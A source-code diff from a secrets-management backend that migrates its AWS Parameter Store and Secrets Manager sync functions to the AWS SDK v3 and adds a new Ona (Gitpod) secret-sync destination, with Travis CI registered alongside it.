 const MAX_RETRIES = 10;
@@ -21,14 +41,10 @@ const getSSM = async (secretSync: TAwsParameterStoreSyncWithCredentials) => {
 
   const config = await getAwsConnectionConfig(connection, destinationConfig.region);
 
-  const ssm = new SSM({
-    apiVersion: "2014-11-06",
-    region: destinationConfig.region
+  return new SSMClient({
+    region: destinationConfig.region,
+    credentials: config.credentials
   });
-
-  ssm.config.update(config);
-
-  return ssm;
 };
 
 const sleep = async () =>
@@ -63,7 +79,7 @@ const getFullPath = ({ path, keySchema, environment }: { path: string; keySchema
 };
 
 const getParametersByPath = async (
-  ssm: SSM,
+  ssm: SSMClient,
   path: string,
   keySchema: string | undefined,
   environment: string
@@ -78,15 +94,15 @@ const getParametersByPath = async (
   while (hasNext) {
     try {
       // eslint-disable-next-line no-await-in-loop
-      const parameters = await ssm
-        .getParametersByPath({
+      const parameters = await ssm.send(
+        new GetParametersByPathCommand({
           Path: fullPath,
           Recursive: false,
           WithDecryption: true,
           MaxResults: BATCH_SIZE,
           NextToken: nextToken
         })
-        .promise();
+      );
 
       attempt = 0;
 
@@ -103,7 +119,7 @@ const getParametersByPath = async (
       hasNext = Boolean(parameters.NextToken);
       nextToken = parameters.NextToken;
     } catch (e) {
-      if ((e as AWSError).code === "ThrottlingException" && attempt < MAX_RETRIES) {
+      if (isAwsError(e, "ThrottlingException") && attempt < MAX_RETRIES) {
         attempt += 1;
         // eslint-disable-next-line no-await-in-loop
         await sleep();
@@ -119,7 +135,7 @@ const getParametersByPath = async (
 };
 
 const getParameterMetadataByPath = async (
-  ssm: SSM,
+  ssm: SSMClient,
   path: string,
   keySchema: string | undefined,
   environment: string
@@ -134,8 +150,8 @@ const getParameterMetadataByPath = async (
   while (hasNext) {
     try {
       // eslint-disable-next-line no-await-in-loop
-      const parameters = await ssm
-        .describeParameters({
+      const parameters = await ssm.send(
+        new DescribeParametersCommand({
           MaxResults: 10,
           NextToken: nextToken,
           ParameterFilters: [
@@ -146,7 +162,7 @@ const getParameterMetadataByPath = async (
             }
           ]
         })
-        .promise();
+      );
 
       attempt = 0;
 
@@ -163,7 +179,7 @@ const getParameterMetadataByPath = async (
       hasNext = Boolean(parameters.NextToken);
       nextToken = parameters.NextToken;
     } catch (e) {
-      if ((e as AWSError).code === "ThrottlingException" && attempt < MAX_RETRIES) {
+      if (isAwsError(e, "ThrottlingException") && attempt < MAX_RETRIES) {
         attempt += 1;
         // eslint-disable-next-line no-await-in-loop
         await sleep();
@@ -179,7 +195,7 @@ const getParameterMetadataByPath = async (
 };
 
 const getParameterStoreTagsRecord = async (
-  ssm: SSM,
+  ssm: SSMClient,
   awsParameterStoreSecretsRecord: TAWSParameterStoreRecord,
   needsTagsPermissions: boolean
 ): Promise<{ shouldManageTags: boolean; awsParameterStoreTagsRecord: TAWSParameterStoreTagsRecord }> => {
@@ -194,18 +210,20 @@ const getParameterStoreTagsRecord = async (
     }
 
     try {
-      const tags = await ssm
-        .listTagsForResource({
+      const tags = await ssm.send(
+        new ListTagsForResourceCommand({
           ResourceType: "Parameter",
           ResourceId: parameter.Name
         })
-        .promise();
+      );
 
-      awsParameterStoreTagsRecord[key] = Object.fromEntries(tags.TagList?.map((tag) => [tag.Key, tag.Value]) ?? []);
+      awsParameterStoreTagsRecord[key] = Object.fromEntries(
+        tags.TagList?.map((tag) => [tag.Key ?? "", tag.Value ?? ""]) ?? []
+      );
     } catch (e) {
       // users aren't required to provide tag permissions to use sync so we handle gracefully if unauthorized
       // and they aren't trying to configure tags
-      if ((e as AWSError).code === "AccessDeniedException") {
+      if (e instanceof AccessDeniedException) {
         if (!needsTagsPermissions) {
           return { shouldManageTags: false, awsParameterStoreTagsRecord: {} };
         }
@@ -231,7 +249,7 @@ const processParameterTags = ({
   syncTagsRecord: Record<string, string>;
   awsTagsRecord: Record<string, string>;
 }) => {
-  const tagsToAdd: SSM.TagList = [];
+  const tagsToAdd: Tag[] = [];
   const tagKeysToRemove: string[] = [];
 
   for (const syncEntry of Object.entries(syncTagsRecord)) {
@@ -249,14 +267,14 @@ const processParameterTags = ({
 };
 
 const putParameter = async (
-  ssm: SSM,
-  params: SSM.PutParameterRequest,
+  ssm: SSMClient,
+  params: PutParameterCommandInput,
   attempt = 0
-): Promise<SSM.PutParameterResult> => {
+): Promise<PutParameterCommandOutput> => {
   try {
-    return await ssm.putParameter(params).promise();
+    return await ssm.send(new PutParameterCommand(params));
   } catch (error) {
-    if ((error as AWSError).code === "ThrottlingException" && attempt < MAX_RETRIES) {
+    if (isAwsError(error, "ThrottlingException") && attempt < MAX_RETRIES) {
       await sleep();
 
       // retry
@@ -267,14 +285,14 @@ const putParameter = async (
 };
 
 const addTagsToParameter = async (
-  ssm: SSM,
-  params: Omit<SSM.AddTagsToResourceRequest, "ResourceType">,
+  ssm: SSMClient,
+  params: Omit<AddTagsToResourceCommandInput, "ResourceType">,
   attempt = 0
-): Promise<SSM.AddTagsToResourceResult> => {
+): Promise<AddTagsToResourceCommandOutput> => {
   try {
-    return await ssm.addTagsToResource({ ...params, ResourceType: "Parameter" }).promise();
+    return await ssm.send(new AddTagsToResourceCommand({ ...params, ResourceType: "Parameter" }));
   } catch (error) {
-    if ((error as AWSError).code === "ThrottlingException" && attempt < MAX_RETRIES) {
+    if (isAwsError(error, "ThrottlingException") && attempt < MAX_RETRIES) {
       await sleep();
 
       // retry
@@ -285,14 +303,14 @@ const addTagsToParameter = async (
 };
 
 const removeTagsFromParameter = async (
-  ssm: SSM,
-  params: Omit<SSM.RemoveTagsFromResourceRequest, "ResourceType">,
+  ssm: SSMClient,
+  params: Omit<RemoveTagsFromResourceCommandInput, "ResourceType">,
   attempt = 0
-): Promise<SSM.RemoveTagsFromResourceResult> => {
+): Promise<RemoveTagsFromResourceCommandOutput> => {
   try {
-    return await ssm.removeTagsFromResource({ ...params, ResourceType: "Parameter" }).promise();
+    return await ssm.send(new RemoveTagsFromResourceCommand({ ...params, ResourceType: "Parameter" }));
   } catch (error) {
-    if ((error as AWSError).code === "ThrottlingException" && attempt < MAX_RETRIES) {
+    if (isAwsError(error, "ThrottlingException") && attempt < MAX_RETRIES) {
       await sleep();
 
       // retry
@@ -303,11 +321,11 @@ const removeTagsFromParameter = async (
 };
 
 const deleteParametersBatch = async (
-  ssm: SSM,
-  parameters: SSM.Parameter[],
+  ssm: SSMClient,
+  parameters: Parameter[],
   attempt = 0
-): Promise<SSM.DeleteParameterResult[]> => {
-  const results: SSM.DeleteParameterResult[] = [];
+): Promise<DeleteParametersCommandOutput[]> => {
+  const results: DeleteParametersCommandOutput[] = [];
   let remainingParams = [...parameters];
 
   while (remainingParams.length > 0) {
@@ -315,11 +333,11 @@ const deleteParametersBatch = async (
 
     try {
       // eslint-disable-next-line no-await-in-loop
-      const result = await ssm.deleteParameters({ Names: batch.map((param) => param.Name!) }).promise();
+      const result = await ssm.send(new DeleteParametersCommand({ Names: batch.map((param) => param.Name!) }));
       results.push(result);
       remainingParams = remainingParams.slice(BATCH_SIZE);
     } catch (error) {
-      if ((error as AWSError).code === "ThrottlingException" && attempt < MAX_RETRIES) {
+      if (isAwsError(error, "ThrottlingException") && attempt < MAX_RETRIES) {
         // eslint-disable-next-line no-await-in-loop
         await sleep();
 
@@ -442,7 +460,7 @@ export const AwsParameterStoreSyncFns = {
 
     if (syncOptions.disableSecretDeletion) return { createdSecretKeys, updatedSecretKeys, deletedSecretKeys };
 
-    const parametersToDelete: SSM.Parameter[] = [];
+    const parametersToDelete: Parameter[] = [];
 
     for (const entry of Object.entries(awsParameterStoreSecretsRecord)) {
       const [key, parameter] = entry;
@@ -488,7 +506,7 @@ export const AwsParameterStoreSyncFns = {
       environment!.slug
     );
 
-    const parametersToDelete: SSM.Parameter[] = [];
+    const parametersToDelete: Parameter[] = [];
 
     for (const entry of Object.entries(awsParameterStoreSecretsRecord)) {
       const [key, param] = entry;
diff --git a/backend/src/services/secret-sync/aws-secrets-manager/aws-secrets-manager-sync-fns.ts b/backend/src/services/secret-sync/aws-secrets-manager/aws-secrets-manager-sync-fns.ts
index e3dede45451..13a62beee78 100644
--- a/backend/src/services/secret-sync/aws-secrets-manager/aws-secrets-manager-sync-fns.ts
+++ b/backend/src/services/secret-sync/aws-secrets-manager/aws-secrets-manager-sync-fns.ts
@@ -1,29 +1,27 @@
-import { UntagResourceCommandOutput } from "@aws-sdk/client-kms";
 import {
   BatchGetSecretValueCommand,
   CreateSecretCommand,
-  CreateSecretCommandInput,
+  type CreateSecretCommandInput,
+  type CreateSecretResponse,
   DeleteSecretCommand,
-  DeleteSecretResponse,
+  type DeleteSecretResponse,
   DescribeSecretCommand,
-  DescribeSecretCommandInput,
+  type DescribeSecretCommandInput,
+  type DescribeSecretResponse,
   ListSecretsCommand,
+  type SecretListEntry,
   SecretsManagerClient,
+  type SecretValueEntry,
+  type Tag,
   TagResourceCommand,
-  TagResourceCommandOutput,
+  type TagResourceCommandOutput,
   UntagResourceCommand,
+  type UntagResourceCommandOutput,
   UpdateSecretCommand,
-  UpdateSecretCommandInput
+  type UpdateSecretCommandInput
 } from "@aws-sdk/client-secrets-manager";
-import type { AWSError } from "aws-sdk";
-import {
-  CreateSecretResponse,
-  DescribeSecretResponse,
-  SecretListEntry,
-  SecretValueEntry,
-  Tag
-} from "aws-sdk/clients/secretsmanager.js";
 
+import { isAwsError } from "@app/lib/aws/error";
 import { CustomAWSHasher } from "@app/lib/aws/hashing";
 import { crypto } from "@app/lib/crypto";
 import { getAwsConnectionConfig } from "@app/services/app-connection/aws/aws-connection-fns";
@@ -89,7 +87,7 @@ const getSecretsRecord = async (
       hasNext = Boolean(output.NextToken);
       nextToken = output.NextToken;
     } catch (e) {
-      if ((e as AWSError).code === "ThrottlingException" && attempt < MAX_RETRIES) {
+      if (isAwsError(e, "ThrottlingException") && attempt < MAX_RETRIES) {
         attempt += 1;
         // eslint-disable-next-line no-await-in-loop
         await sleep();
@@ -141,7 +139,7 @@ const getSecretValuesRecord = async (
         hasNext = Boolean(output.NextToken);
         nextToken = output.NextToken;
       } catch (e) {
-        if ((e as AWSError).code === "ThrottlingException" && attempt < MAX_RETRIES) {
+        if (isAwsError(e, "ThrottlingException") && attempt < MAX_RETRIES) {
           attempt += 1;
           // eslint-disable-next-line no-await-in-loop
           await sleep();
@@ -165,7 +163,7 @@ const describeSecret = async (
   try {
     return await client.send(new DescribeSecretCommand(input));
   } catch (error) {
-    if ((error as AWSError).code === "ThrottlingException" && attempt < MAX_RETRIES) {
+    if (isAwsError(error, "ThrottlingException") && attempt < MAX_RETRIES) {
       await sleep();
 
       // retry
@@ -205,7 +203,7 @@ const createSecret = async (
   try {
     return await client.send(new CreateSecretCommand(input));
   } catch (error) {
-    if ((error as AWSError).code === "ThrottlingException" && attempt < MAX_RETRIES) {
+    if (isAwsError(error, "ThrottlingException") && attempt < MAX_RETRIES) {
       await sleep();
 
       // retry
@@ -223,7 +221,7 @@ const updateSecret = async (
   try {
     return await client.send(new UpdateSecretCommand(input));
   } catch (error) {
-    if ((error as AWSError).code === "ThrottlingException" && attempt < MAX_RETRIES) {
+    if (isAwsError(error, "ThrottlingException") && attempt < MAX_RETRIES) {
       await sleep();
 
       // retry
@@ -241,7 +239,7 @@ const deleteSecret = async (
   try {
     return await client.send(new DeleteSecretCommand({ SecretId: secretKey, ForceDeleteWithoutRecovery: true }));
   } catch (error) {
-    if ((error as AWSError).code === "ThrottlingException" && attempt < MAX_RETRIES) {
+    if (isAwsError(error, "ThrottlingException") && attempt < MAX_RETRIES) {
       await sleep();
 
       // retry
@@ -260,7 +258,7 @@ const addTags = async (
   try {
     return await client.send(new TagResourceCommand({ SecretId: secretKey, Tags: tags }));
   } catch (error) {
-    if ((error as AWSError).code === "ThrottlingException" && attempt < MAX_RETRIES) {
+    if (isAwsError(error, "ThrottlingException") && attempt < MAX_RETRIES) {
       await sleep();
 
       // retry
@@ -279,7 +277,7 @@ const removeTags = async (
   try {
     return await client.send(new UntagResourceCommand({ SecretId: secretKey, TagKeys: tagKeys }));
   } catch (error) {
-    if ((error as AWSError).code === "ThrottlingException" && attempt < MAX_RETRIES) {
+    if (isAwsError(error, "ThrottlingException") && attempt < MAX_RETRIES) {
       await sleep();
 
       // retry
diff --git a/backend/src/services/secret-sync/ona/index.ts b/backend/src/services/secret-sync/ona/index.ts
new file mode 100644
index 00000000000..343955c8781
--- /dev/null
+++ b/backend/src/services/secret-sync/ona/index.ts
@@ -0,0 +1,5 @@
+export * from "./ona-sync-constants";
+export * from "./ona-sync-enums";
+export * from "./ona-sync-fns";
+export * from "./ona-sync-schemas";
+export * from "./ona-sync-types";
diff --git a/backend/src/services/secret-sync/ona/ona-sync-constants.ts b/backend/src/services/secret-sync/ona/ona-sync-constants.ts
new file mode 100644
index 00000000000..bf1d32430c4
--- /dev/null
+++ b/backend/src/services/secret-sync/ona/ona-sync-constants.ts
@@ -0,0 +1,11 @@
+import { AppConnection } from "@app/services/app-connection/app-connection-enums";
+import { SecretSync } from "@app/services/secret-sync/secret-sync-enums";
+import { TSecretSyncListItem } from "@app/services/secret-sync/secret-sync-types";
+
+export const ONA_SYNC_LIST_OPTION: TSecretSyncListItem = {
+  name: "Ona",
+  destination: SecretSync.Ona,
+  connection: AppConnection.Ona,
+  canImportSecrets: false,
+  canRemoveSecretsOnDeletion: true
+};
diff --git a/backend/src/services/secret-sync/ona/ona-sync-enums.ts b/backend/src/services/secret-sync/ona/ona-sync-enums.ts
new file mode 100644
index 00000000000..511d91d2c59
--- /dev/null
+++ b/backend/src/services/secret-sync/ona/ona-sync-enums.ts
@@ -0,0 +1 @@
+export const ONA_PAGE_SIZE = 100;
diff --git a/backend/src/services/secret-sync/ona/ona-sync-fns.ts b/backend/src/services/secret-sync/ona/ona-sync-fns.ts
new file mode 100644
index 00000000000..404d29c39cb
--- /dev/null
+++ b/backend/src/services/secret-sync/ona/ona-sync-fns.ts
@@ -0,0 +1,183 @@
+import { AxiosError } from "axios";
+
+import { request } from "@app/lib/config/request";
+import { SecretSyncError } from "@app/services/secret-sync/secret-sync-errors";
+import { matchesSchema } from "@app/services/secret-sync/secret-sync-fns";
+import { TSecretMap } from "@app/services/secret-sync/secret-sync-types";
+
+import { ONA_PAGE_SIZE } from "./ona-sync-enums";
+import { TOnaListSecretsResponse, TOnaSecret, TOnaSyncWithCredentials } from "./ona-sync-types";
+
+const ONA_LIST_SECRETS_PATH = "/gitpod.v1.SecretService/ListSecrets";
+const ONA_CREATE_SECRET_PATH = "/gitpod.v1.SecretService/CreateSecret";
+const ONA_UPDATE_SECRET_VALUE_PATH = "/gitpod.v1.SecretService/UpdateSecretValue";
+const ONA_DELETE_SECRET_PATH = "/gitpod.v1.SecretService/DeleteSecret";
+
+const ONA_MAX_RETRIES = 3;
+const ONA_BASE_RETRY_DELAY_MS = 500;
+
+const ONA_API_URL = "https://app.gitpod.io/api";
+
+const sleep = (ms: number) =>
+  new Promise<void>((resolve) => {
+    setTimeout(resolve, ms);
+  });
+
+const isRetryableOnaError = (error: unknown): boolean => {
+  if (!(error instanceof AxiosError)) return false;
+  if (!error.response) return true;
+  const { status } = error.response;
+  return status === 429;
+};
+
+const withOnaRetry = async <T>(fn: () => Promise<T>): Promise<T> => {
+  for (let attempt = 0; ; attempt += 1) {
+    try {
+      // eslint-disable-next-line no-await-in-loop
+      return await fn();
+    } catch (error) {
+      if (attempt >= ONA_MAX_RETRIES || !isRetryableOnaError(error)) throw error;
+      // eslint-disable-next-line no-await-in-loop
+      await sleep(ONA_BASE_RETRY_DELAY_MS * 2 ** attempt);
+    }
+  }
+};
+
+const getAuthHeaders = (secretSync: TOnaSyncWithCredentials) => ({
+  Authorization: `Bearer ${secretSync.connection.credentials.personalAccessToken}`,
+  "Content-Type": "application/json"
+});
+
+const listEnvVarSecrets = async (secretSync: TOnaSyncWithCredentials): Promise<TOnaSecret[]> => {
+  const all: TOnaSecret[] = [];
+  let token: string | undefined;
+  let hasMore = true;
+
+  while (hasMore) {
+    // eslint-disable-next-line no-await-in-loop, @typescript-eslint/no-loop-func
+    const { data } = await withOnaRetry(async () => {
+      return request.post<TOnaListSecretsResponse>(
+        `${ONA_API_URL}${ONA_LIST_SECRETS_PATH}`,
+        {
+          filter: { scope: { projectId: secretSync.destinationConfig.projectId } },
+          pagination: { pageSize: ONA_PAGE_SIZE, ...(token ? { token } : {}) }
+        },
+        { headers: getAuthHeaders(secretSync) }
+      );
+    });
+
+    if (data?.secrets?.length) all.push(...data.secrets);
+
+    token = data?.pagination?.nextToken || undefined;
+    hasMore = Boolean(token);
+  }
+
+  return all.filter((secret) => secret.environmentVariable === true);
+};
+
+const createEnvVarSecret = async (secretSync: TOnaSyncWithCredentials, name: string, value: string): Promise<void> => {
+  await withOnaRetry(async () => {
+    return request.post(
+      `${ONA_API_URL}${ONA_CREATE_SECRET_PATH}`,
+      {
+        name,
+        value,
+        scope: { projectId: secretSync.destinationConfig.projectId },
+        environmentVariable: true
+      },
+      { headers: getAuthHeaders(secretSync) }
+    );
+  });
+};
+
+const updateSecretValue = async (
+  secretSync: TOnaSyncWithCredentials,
+  secretId: string,
+  value: string
+): Promise<void> => {
+  await withOnaRetry(async () => {
+    return request.post(
+      `${ONA_API_URL}${ONA_UPDATE_SECRET_VALUE_PATH}`,
+      { secretId, value },
+      { headers: getAuthHeaders(secretSync) }
+    );
+  });
+};
+
+const deleteSecret = async (secretSync: TOnaSyncWithCredentials, secretId: string): Promise<void> => {
+  await withOnaRetry(async () => {
+    return request.post(
+      `${ONA_API_URL}${ONA_DELETE_SECRET_PATH}`,
+      { secretId },
+      { headers: getAuthHeaders(secretSync) }
+    );
+  });
+};
+
+export const OnaSyncFns = {
+  syncSecrets: async (secretSync: TOnaSyncWithCredentials, secretMap: TSecretMap) => {
+    const existingSecrets = await listEnvVarSecrets(secretSync);
+    const existingByName = new Map(existingSecrets.map((s) => [s.name, s]));
+
+    for (const key of Object.keys(secretMap)) {
+      const prior = existingByName.get(key);
+      try {
+        if (!prior) {
+          // eslint-disable-next-line no-await-in-loop
+          await createEnvVarSecret(secretSync, key, secretMap[key].value);
+        } else {
+          // eslint-disable-next-line no-await-in-loop
+          await updateSecretValue(secretSync, prior.id, secretMap[key].value);
+        }
+      } catch (error) {
+        if (error instanceof SecretSyncError) throw error;
+        throw new SecretSyncError({ error, secretKey: key });
+      }
+    }
+
+    if (secretSync.syncOptions.disableSecretDeletion) return;
+
+    for (const existing of existingSecrets) {
+      if (!matchesSchema(existing.name, secretSync.environment?.slug || "", secretSync.syncOptions.keySchema)) {
+        // eslint-disable-next-line no-continue
+        continue;
+      }
+      if (secretMap[existing.name]) {
+        // eslint-disable-next-line no-continue
+        continue;
+      }
+      try {
+        // eslint-disable-next-line no-await-in-loop
+        await deleteSecret(secretSync, existing.id);
+      } catch (error) {
+        if (error instanceof SecretSyncError) throw error;
+        throw new SecretSyncError({ error, secretKey: existing.name });
+      }
+    }
+  },
+
+  getSecrets: async (): Promise<TSecretMap> => {
+    // Ona's GetSecretValue endpoint only returns values from within an active workspace/environment,
+    // so importing secret values from outside a workspace is not possible with a PAT. Import is
+    // intentionally disabled (canImportSecrets: false on the schema/list-item).
+    throw new Error("Ona does not support importing secrets.");
+  },
+
+  removeSecrets: async (secretSync: TOnaSyncWithCredentials, secretMap: TSecretMap) => {
+    const existingSecrets = await listEnvVarSecrets(secretSync);
+
+    for (const existing of existingSecrets) {
+      if (!(existing.name in secretMap)) {
+        // eslint-disable-next-line no-continue
+        continue;
+      }
+      try {
+        // eslint-disable-next-line no-await-in-loop
+        await deleteSecret(secretSync, existing.id);
+      } catch (error) {
+        if (error instanceof SecretSyncError) throw error;
+        throw new SecretSyncError({ error, secretKey: existing.name });
+      }
+    }
+  }
+};
diff --git a/backend/src/services/secret-sync/ona/ona-sync-schemas.ts b/backend/src/services/secret-sync/ona/ona-sync-schemas.ts
new file mode 100644
index 00000000000..34ac6e4d5bc
--- /dev/null
+++ b/backend/src/services/secret-sync/ona/ona-sync-schemas.ts
@@ -0,0 +1,49 @@
+import { z } from "zod";
+
+import { SecretSyncs } from "@app/lib/api-docs";
+import { AppConnection } from "@app/services/app-connection/app-connection-enums";
+import { SecretSync } from "@app/services/secret-sync/secret-sync-enums";
+import {
+  BaseSecretSyncSchema,
+  GenericCreateSecretSyncFieldsSchema,
+  GenericUpdateSecretSyncFieldsSchema
+} from "@app/services/secret-sync/secret-sync-schemas";
+import { TSyncOptionsConfig } from "@app/services/secret-sync/secret-sync-types";
+
+import { SECRET_SYNC_NAME_MAP } from "../secret-sync-maps";
+
+const OnaSyncDestinationConfigSchema = z.object({
+  projectId: z
+    .string()
+    .trim()
+    .min(1, "Ona project ID is required")
+    .describe(SecretSyncs.DESTINATION_CONFIG.ONA.projectId),
+  projectName: z.string().trim().optional().describe(SecretSyncs.DESTINATION_CONFIG.ONA.projectName)
+});
+
+const OnaSyncOptionsConfig: TSyncOptionsConfig = { canImportSecrets: false };
+
+export const OnaSyncSchema = BaseSecretSyncSchema(SecretSync.Ona, OnaSyncOptionsConfig)
+  .extend({
+    destination: z.literal(SecretSync.Ona),
+    destinationConfig: OnaSyncDestinationConfigSchema
+  })
+  .describe(JSON.stringify({ title: SECRET_SYNC_NAME_MAP[SecretSync.Ona] }));
+
+export const CreateOnaSyncSchema = GenericCreateSecretSyncFieldsSchema(SecretSync.Ona, OnaSyncOptionsConfig).extend({
+  destinationConfig: OnaSyncDestinationConfigSchema
+});
+
+export const UpdateOnaSyncSchema = GenericUpdateSecretSyncFieldsSchema(SecretSync.Ona, OnaSyncOptionsConfig).extend({
+  destinationConfig: OnaSyncDestinationConfigSchema.optional()
+});
+
+export const OnaSyncListItemSchema = z
+  .object({
+    name: z.literal("Ona"),
+    connection: z.literal(AppConnection.Ona),
+    destination: z.literal(SecretSync.Ona),
+    canImportSecrets: z.literal(false),
+    canRemoveSecretsOnDeletion: z.literal(true)
+  })
+  .describe(JSON.stringify({ title: SECRET_SYNC_NAME_MAP[SecretSync.Ona] }));
diff --git a/backend/src/services/secret-sync/ona/ona-sync-types.ts b/backend/src/services/secret-sync/ona/ona-sync-types.ts
new file mode 100644
index 00000000000..a88be68ba9c
--- /dev/null
+++ b/backend/src/services/secret-sync/ona/ona-sync-types.ts
@@ -0,0 +1,38 @@
+import { z } from "zod";
+
+import { TOnaConnection } from "@app/services/app-connection/ona";
+
+import { CreateOnaSyncSchema, OnaSyncListItemSchema, OnaSyncSchema } from "./ona-sync-schemas";
+
+export type TOnaSync = z.infer<typeof OnaSyncSchema>;
+
+export type TOnaSyncInput = z.infer<typeof CreateOnaSyncSchema>;
+
+export type TOnaSyncListItem = z.infer<typeof OnaSyncListItemSchema>;
+
+export type TOnaSyncWithCredentials = TOnaSync & {
+  connection: TOnaConnection;
+};
+
+export type TOnaSecret = {
+  id: string;
+  name: string;
+  environmentVariable?: boolean;
+  scope?: {
+    projectId?: string;
+    userId?: string;
+    organizationId?: string;
+    serviceAccountId?: string;
+  };
+};
+
+export type TOnaListSecretsResponse = {
+  secrets?: TOnaSecret[];
+  pagination?: {
+    nextToken?: string;
+  };
+};
+
+export type TOnaGetSecretValueResponse = {
+  value?: string;
+};
diff --git a/backend/src/services/secret-sync/secret-sync-enums.ts b/backend/src/services/secret-sync/secret-sync-enums.ts
index 92dbd907fa9..580cb08bcfe 100644
--- a/backend/src/services/secret-sync/secret-sync-enums.ts
+++ b/backend/src/services/secret-sync/secret-sync-enums.ts
@@ -35,7 +35,9 @@ export enum SecretSync {
   OctopusDeploy = "octopus-deploy",
   CircleCI = "circleci",
   AzureEntraIdScim = "azure-entra-id-scim",
-  ExternalInfisical = "external-infisical"
+  ExternalInfisical = "external-infisical",
+  Ona = "ona",
+  TravisCI = "travis-ci"
 }
 
 export enum SecretSyncInitialSyncBehavior {
diff --git a/backend/src/services/secret-sync/secret-sync-fns.ts b/backend/src/services/secret-sync/secret-sync-fns.ts
index cfd34bf4cad..37d9be5007c 100644
--- a/backend/src/services/secret-sync/secret-sync-fns.ts
+++ b/backend/src/services/secret-sync/secret-sync-fns.ts
@@ -69,6 +69,7 @@ import { LARAVEL_FORGE_SYNC_LIST_OPTION, LaravelForgeSyncFns } from "./laravel-f
 import { NETLIFY_SYNC_LIST_OPTION, NetlifySyncFns } from "./netlify";
 import { NORTHFLANK_SYNC_LIST_OPTION, NorthflankSyncFns } from "./northflank";
 import { OCTOPUS_DEPLOY_SYNC_LIST_OPTION, OctopusDeploySyncFns } from "./octopus-deploy";
+import { ONA_SYNC_LIST_OPTION, OnaSyncFns } from "./ona";
 import { RAILWAY_SYNC_LIST_OPTION } from "./railway/railway-sync-constants";
 import { RailwaySyncFns } from "./railway/railway-sync-fns";
 import { RENDER_SYNC_LIST_OPTION, RenderSyncFns } from "./render";
@@ -76,6 +77,7 @@ import { SECRET_SYNC_PLAN_MAP } from "./secret-sync-maps";
 import { SUPABASE_SYNC_LIST_OPTION, SupabaseSyncFns } from "./supabase";
 import { TEAMCITY_SYNC_LIST_OPTION, TeamCitySyncFns } from "./teamcity";
 import { TERRAFORM_CLOUD_SYNC_LIST_OPTION, TerraformCloudSyncFns } from "./terraform-cloud";
+import { TRAVIS_CI_SYNC_LIST_OPTION, TravisCISyncFns } from "./travis-ci";
 import { VERCEL_SYNC_LIST_OPTION, VercelSyncFns } from "./vercel";
 import { WINDMILL_SYNC_LIST_OPTION, WindmillSyncFns } from "./windmill";
 import { ZABBIX_SYNC_LIST_OPTION, ZabbixSyncFns } from "./zabbix";
@@ -117,7 +119,9 @@ const SECRET_SYNC_LIST_OPTIONS: Record<SecretSync, TSecretSyncListItem> = {
   [SecretSync.OctopusDeploy]: OCTOPUS_DEPLOY_SYNC_LIST_OPTION,
   [SecretSync.CircleCI]: CIRCLECI_SYNC_LIST_OPTION,
   [SecretSync.AzureEntraIdScim]: AZURE_ENTRA_ID_SCIM_SYNC_LIST_OPTION,
-  [SecretSync.ExternalInfisical]: EXTERNAL_INFISICAL_SYNC_LIST_OPTION
+  [SecretSync.ExternalInfisical]: EXTERNAL_INFISICAL_SYNC_LIST_OPTION,
+  [SecretSync.Ona]: ONA_SYNC_LIST_OPTION,
+  [SecretSync.TravisCI]: TRAVIS_CI_SYNC_LIST_OPTION
 };
 
 export const listSecretSyncOptions = () => {
@@ -378,6 +382,10 @@ export const SecretSyncFns = {
         // Key schema is intentionally not applied for Infisical-to-Infisical syncs to prevent
         // infinite sync loops where the prefixed key triggers another sync cycle.
         return ExternalInfisicalSyncFns.syncSecrets(secretSync, secretMap);
+      case SecretSync.Ona:
+        return OnaSyncFns.syncSecrets(secretSync, schemaSecretMap);
+      case SecretSync.TravisCI:
+        return TravisCISyncFns.syncSecrets(secretSync, schemaSecretMap);
       default:
         throw new Error(
           `Unhandled sync destination for sync secrets fns: ${(secretSync as TSecretSyncWithCredentials).destination}`
@@ -518,6 +526,12 @@ export const SecretSyncFns = {
       case SecretSync.ExternalInfisical:
         secretMap = await ExternalInfisicalSyncFns.getSecrets(secretSync);
         break;
+      case SecretSync.Ona:
+        secretMap = await OnaSyncFns.getSecrets();
+        break;
+      case SecretSync.TravisCI:
+        secretMap = await TravisCISyncFns.getSecrets(secretSync);
+        break;
       default:
         throw new Error(
           `Unhandled sync destination for get secrets fns: ${(secretSync as TSecretSyncWithCredentials).destination}`
@@ -627,6 +641,10 @@ export const SecretSyncFns = {
         // Key schema is intentionally not applied for Infisical-to-Infisical syncs to prevent
         // infinite sync loops where the prefixed key triggers another sync cycle.
         return ExternalInfisicalSyncFns.removeSecrets(secretSync, secretMap);
+      case SecretSync.Ona:
+        return OnaSyncFns.removeSecrets(secretSync, schemaSecretMap);
+      case SecretSync.TravisCI:
+        return TravisCISyncFns.removeSecrets(secretSync, schemaSecretMap);
       default:
         throw new Error(
           `Unhandled sync destination for remove secrets fns: ${(secretSync as TSecretSyncWithCredentials).destination}`
diff --git a/backend/src/services/secret-sync/secret-sync-maps.ts b/backend/src/services/secret-sync/secret-sync-maps.ts
index 9fe6f036422..6acd04a1c0e 100644
--- a/backend/src/services/secret-sync/secret-sync-maps.ts
+++ b/backend/src/services/secret-sync/secret-sync-maps.ts
@@ -39,7 +39,9 @@ export const SECRET_SYNC_NAME_MAP: Record<SecretSync, string> = {
   [SecretSync.OctopusDeploy]: "Octopus Deploy",
   [SecretSync.CircleCI]: "CircleCI",
   [SecretSync.AzureEntraIdScim]: "Azure Entra ID SCIM",
-  [SecretSync.ExternalInfisical]: "Infisical"
+  [SecretSync.ExternalInfisical]: "Infisical",
+  [SecretSync.Ona]: "Ona",
+  [SecretSync.TravisCI]: "Travis CI"
 };
 
 export const SECRET_SYNC_CONNECTION_MAP: Record<SecretSync, AppConnection> = {
@@ -79,7 +81,9 @@ export const SECRET_SYNC_CONNECTION_MAP: Record<SecretSync, AppConnection> = {
   [SecretSync.OctopusDeploy]: AppConnection.OctopusDeploy,
   [SecretSync.CircleCI]: AppConnection.CircleCI,
   [SecretSync.AzureEntraIdScim]: AppConnection.AzureEntraId,
-  [SecretSync.ExternalInfisical]: AppConnection.ExternalInfisical
+  [SecretSync.ExternalInfisical]: AppConnection.ExternalInfisical,
+  [SecretSync.Ona]: AppConnection.Ona,
+  [SecretSync.TravisCI]: AppConnection.TravisCI
 };
 
 export const SECRET_SYNC_PLAN_MAP: Record<SecretSync, SecretSyncPlanType> = {
@@ -119,7 +123,9 @@ export const SECRET_SYNC_PLAN_MAP: Record<SecretSync, SecretSyncPlanType> = {
   [SecretSync.OctopusDeploy]: SecretSyncPlanType.Regular,
   [SecretSync.CircleCI]: SecretSyncPlanType.Regular,
   [SecretSync.AzureEntraIdScim]: SecretSyncPlanType.Regular,
